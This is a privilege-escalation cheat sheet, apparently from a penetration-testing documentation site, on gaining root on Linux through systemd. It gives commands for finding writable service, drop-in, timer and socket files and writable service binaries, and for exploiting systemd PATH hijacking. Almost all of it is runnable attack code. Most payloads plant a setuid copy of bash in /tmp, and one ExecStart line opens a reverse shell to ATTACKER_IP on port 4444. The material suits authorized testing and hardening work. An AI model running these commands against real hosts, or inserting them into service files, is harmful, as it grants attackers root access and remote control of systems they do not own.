Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Overview

Systemd manages services on modern Linux. If you can modify a .service file, its binary, or exploit relative paths, you get code execution as the user running the service (often root).

Find Writable Service Files

find /etc/systemd/system/ -writable -name "*.service" 2>/dev/null
find /run/systemd/system/ -writable -name "*.service" 2>/dev/null
find /usr/lib/systemd/system/ -writable -name "*.service" 2>/dev/null

Check Drop-in Directories

find /etc/systemd/system/*.d/ -writable 2>/dev/null
Drop-in files (/etc/systemd/system/<unit>.d/*.conf) override service settings.

Exploit Writable .service File

Modify ExecStart

cat /etc/systemd/system/vulnerable.service
Replace ExecStart:
[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
Reload and restart:
systemctl daemon-reload
systemctl restart vulnerable.service
/tmp/rootbash -p

Reverse Shell via Service

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Exploit via Drop-in Override

If /etc/systemd/system/<unit>.d/ is writable:
echo -e '[Service]\nExecStart=\nExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"' > /etc/systemd/system/vulnerable.service.d/override.conf
systemctl daemon-reload
systemctl restart vulnerable.service
Empty ExecStart= line is required before the new one — systemd appends otherwise.

Writable Service Binary

If the binary a service executes is writable:
# Find service binaries
systemctl show -p ExecStart --no-pager $(systemctl list-unit-files --type=service --state=enabled | awk '{print $1}') 2>/dev/null
# Check permissions
ls -la /usr/local/bin/backup.sh
If writable:
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
Wait for service restart or:
systemctl restart vulnerable.service

Systemd PATH Hijacking

Check systemd PATH:
systemctl show-environment | grep PATH
If a service uses a relative binary name and systemd PATH includes writable directory:
[Service]
ExecStart=backup
echo '#!/bin/bash' > /writable/path/backup
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /writable/path/backup
chmod +x /writable/path/backup

Writable Timer Files

find /etc/systemd/system/ -writable -name "*.timer" 2>/dev/null
systemctl list-timers --all
Modify timer to point to malicious service:
[Timer]
Unit=malicious.service
OnCalendar=*:*:00
Create malicious.service:
[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
systemctl daemon-reload
systemctl enable --now malicious.timer

Writable Socket Files

find /etc/systemd/system/ -writable -name "*.socket" 2>/dev/null
Inject ExecStartPre to execute before socket activation:
[Socket]
ExecStartPre=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'

Create Missing Service for Socket

If a .socket exists but the .service it activates is missing:
systemctl status vulnerable.socket
# Loaded: loaded, Active: listening
# missing vulnerable.service
Create the service:
[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'

Enumerate All Services Running as Root

ps aux | grep root
systemctl list-units --type=service --state=running
Check each service binary permissions:
for svc in $(systemctl list-units --type=service --state=running --no-legend | awk '{print $1}'); do
    bin=$(systemctl show -p ExecStart "$svc" 2>/dev/null | grep -oP 'path=\K[^ ;]+')
    [ -n "$bin" ] && [ -w "$bin" ] && echo "WRITABLE: $svc -> $bin"
done